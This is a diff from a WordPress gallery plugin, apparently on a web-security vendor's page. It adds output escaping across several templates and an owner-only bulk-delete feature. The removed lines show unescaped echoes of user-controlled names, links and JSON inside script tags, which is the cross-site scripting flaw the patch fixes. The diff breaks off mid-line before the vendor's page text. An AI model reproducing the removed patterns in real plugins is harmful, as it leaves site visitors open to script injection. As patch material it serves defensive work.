-						<a href="#" class="um-delete-album" data-id="<?php echo $item->id; ?>"><i class="um-faicon-trash"></i></a>
+						<a href="#" class="um-gallery-form" data-id="<?php echo absint( $item->id ); ?>"><i class="um-faicon-pencil"></i></a>
+						<a href="#" class="um-delete-album" data-id="<?php echo absint( $item->id ); ?>"><i class="um-faicon-trash"></i></a>
 					</div>
 				<?php endif; ?>
 				</div>
 				<div class="um-gallery-info">
-					<div class="um-gallery-title"><a href="<?php echo um_gallery_album_url(); ?>"><?php echo $album->album_name; ?></a></div>
-					<div class="um-gallery-meta"><span class="um-gallery-count"><?php echo um_gallery_photos_count_text(); ?></span></div>
+					<div class="um-gallery-title"><a href="<?php echo esc_url( um_gallery_album_url() ); ?>"><?php echo esc_html( $album->album_name ); ?></a></div>
+					<div class="um-gallery-meta"><span class="um-gallery-count"><?php echo esc_html( um_gallery_photos_count_text() ); ?></span></div>
 				</div>
 			</div>
 		</div>
--- a/gallery-for-ultimate-member/templates/um-gallery/content-carousel.php
+++ b/gallery-for-ultimate-member/templates/um-gallery/content-carousel.php
@@ -67,6 +67,6 @@
 });
 </script>
 <script type="text/javascript" id="um-gallery-data">
-	var um_gallery_images = <?php echo json_encode( $data ); ?>;
-	var um_gallery_users = <?php echo json_encode( $users ); ?>;
+	var um_gallery_images = <?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
+	var um_gallery_users = <?php echo wp_json_encode( $users, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
 </script>
--- a/gallery-for-ultimate-member/templates/um-gallery/content-grid.php
+++ b/gallery-for-ultimate-member/templates/um-gallery/content-grid.php
@@ -4,7 +4,13 @@
 $data    = array();
 $users   = array();
 ?>
-<div class="um-gallery-item-wrapper um-gallery-grid um-gallery-container"  data-per_page="<?php echo absint( $amount ); ?>" data-page="1" data-query_args="<?php echo esc_attr( json_encode( $args['query_args'] ) ); ?>" data-load-more="<?php echo esc_attr( $auto_load ); ?>"  data-gallery-id="<?php echo esc_attr( $uniqid ); ?>">
+<div class="um-gallery-item-wrapper um-gallery-grid um-gallery-container"  data-per_page="<?php echo absint( $amount ); ?>" data-page="1" data-query_args="<?php echo esc_attr( wp_json_encode( $args['query_args'] ) ); ?>" data-load-more="<?php echo esc_attr( $auto_load ); ?>"  data-gallery-id="<?php echo esc_attr( $uniqid ); ?>">
+<?php if ( um_gallery()->is_owner() ) : ?>
+	<div class="um-gallery-bulk-actions" style="margin-bottom:12px;display:none;">
+		<label><input type="checkbox" class="um-gallery-select-all" /> <?php esc_html_e( 'Select all', 'gallery-for-ultimate-member' ); ?></label>
+		<button type="button" class="um-button um-gallery-bulk-delete" disabled><?php esc_html_e( 'Delete selected', 'gallery-for-ultimate-member' ); ?></button>
+	</div>
+<?php endif; ?>
 <?php
 if ( ! empty( $images ) ) :
 	foreach ( $images as $item ) {
@@ -15,6 +21,11 @@
 		?>
 		<div class="um-gallery-item um-gallery-col-1-4" id="um-photo-<?php echo esc_attr( um_gallery_get_id() ); ?>">
 			<div class="um-gallery-inner">
+				<?php if ( um_gallery()->is_owner() ) : ?>
+				<label class="um-gallery-bulk-check" style="position:absolute;z-index:2;top:6px;left:6px;">
+					<input type="checkbox" class="um-gallery-bulk-item" value="<?php echo esc_attr( um_gallery_get_id() ); ?>" />
+				</label>
+				<?php endif; ?>
 				<a href="#" data-source-url="<?php echo esc_url( um_gallery_get_media_url() ); ?>" class="um-gallery-open-photo" id="um-gallery-item-<?php echo esc_attr( um_gallery_get_id() ); ?>" data-title=""  data-id="<?php echo esc_attr( um_gallery_get_id() ); ?>"><img src="<?php um_gallery_the_image_url(); ?>" />
 				</a>
 				<?php if ( um_gallery()->is_owner() ) : ?>
@@ -30,6 +41,42 @@
 ?>
 </div>
 <script type="text/javascript" id="um-gallery-data">
-	window['um_gallery_images_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo json_encode( $data ); ?>;
-	window['um_gallery_users_<?php echo esc_attr( $uniqid ); ?>']  = <?php echo json_encode( $users ); ?>;
+	window['um_gallery_images_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
+	window['um_gallery_users_<?php echo esc_attr( $uniqid ); ?>']  = <?php echo wp_json_encode( $users, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
+</script>
+<?php if ( um_gallery()->is_owner() ) : ?>
+<script type="text/javascript">
+(function($){
+	var $wrap = $('.um-gallery-container[data-gallery-id="<?php echo esc_js( $uniqid ); ?>"]');
+	if (!$wrap.length) { return; }
+	var $bar = $wrap.find('.um-gallery-bulk-actions');
+	$bar.show();
+	function updateBulkState(){
+		var count = $wrap.find('.um-gallery-bulk-item:checked').length;
+		$wrap.find('.um-gallery-bulk-delete').prop('disabled', count < 1);
+	}
+	$wrap.on('change', '.um-gallery-bulk-item, .um-gallery-select-all', function(){
+		if ($(this).hasClass('um-gallery-select-all')) {
+			$wrap.find('.um-gallery-bulk-item').prop('checked', $(this).is(':checked'));
+		}
+		updateBulkState();
+	});
+	$wrap.on('click', '.um-gallery-bulk-delete', function(e){
+		e.preventDefault();
+		var ids = $wrap.find('.um-gallery-bulk-item:checked').map(function(){ return $(this).val(); }).get();
+		if (!ids.length || typeof um_gallery_config === 'undefined') { return; }
+		$.post(um_gallery_config.ajax_url, {
+			action: 'um_gallery_bulk_delete',
+			security: um_gallery_config.nonce,
+			ids: ids
+		}).done(function(resp){
+			if (resp && resp.success) {
+				ids.forEach(function(id){ $('#um-photo-' + id).remove(); });
+				$wrap.find('.um-gallery-select-all').prop('checked', false);
+				updateBulkState();
+			}
+		});
+	});
+})(jQuery);
 </script>
+<?php endif; ?>
--- a/gallery-for-ultimate-member/templates/um-gallery/content-masonry.php
+++ b/gallery-for-ultimate-member/templates/um-gallery/content-masonry.php
@@ -16,7 +16,7 @@
 		color: #777;
 	}
 </style>
-<div class="um-gallery-item-wrapper um-gallery-masonry um-gallery-container" data-per_page="<?php echo absint( $amount ); ?>" data-page="1" data-query_args="<?php echo esc_attr( json_encode( $args['query_args'] ) ); ?>" data-masonry="true" data-load-more="<?php echo esc_attr( $auto_load ); ?>" data-gallery-id="<?php echo esc_attr( $uniqid ); ?>">
+<div class="um-gallery-item-wrapper um-gallery-masonry um-gallery-container" data-per_page="<?php echo absint( $amount ); ?>" data-page="1" data-query_args="<?php echo esc_attr( wp_json_encode( $args['query_args'] ) ); ?>" data-masonry="true" data-load-more="<?php echo esc_attr( $auto_load ); ?>" data-gallery-id="<?php echo esc_attr( $uniqid ); ?>">
 <?php
 if ( ! empty( $images ) ) :
 	foreach ( $images as $item ) {
@@ -34,7 +34,7 @@
 						<a href="#" data-source-url="<?php echo esc_url( um_gallery_get_media_url() ); ?>" class="um-gallery-open-photo" id="um-gallery-item-<?php echo esc_attr( um_gallery_get_id() ); ?>" data-title=""  data-id="<?php echo esc_attr( um_gallery_get_id() ); ?>"><i class="um-faicon-expand" aria-hidden="true"></i></a>
 					</div>
 					<div class="um-gallery-img-info">
-						<a target="_blank" href="<?php echo um_gallery_get_user_details( 'link', '', $users ); ?>"><img src="<?php echo esc_url( $avatar['url'] ); ?>" alt="<?php echo esc_attr( $avatar['alt'] ); ?>" class="<?php echo esc_attr( $avatar['class'] ); ?>" /><?php echo um_gallery_get_user_details( 'name', '', $users ); ?></a>
+						<a target="_blank" rel="noopener noreferrer" href="<?php echo esc_url( um_gallery_get_user_details( 'link', '', $users ) ); ?>"><img src="<?php echo esc_url( $avatar['url'] ); ?>" alt="<?php echo esc_attr( $avatar['alt'] ); ?>" class="<?php echo esc_attr( $avatar['class'] ); ?>" /><?php echo esc_html( um_gallery_get_user_details( 'name', '', $users ) ); ?></a>
 					</div>
 				</div>
 			</div>
@@ -45,6 +45,6 @@
 ?>
 </div>
 <script type="text/javascript" id="um-gallery-data">
-	window['um_gallery_images_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo json_encode( $data ); ?>;
-	window['um_gallery_users_<?php echo esc_attr( $uniqid ); ?>']  = <?php echo json_encode( $users ); ?>;
+	window['um_gallery_images_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
+	window['um_gal

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.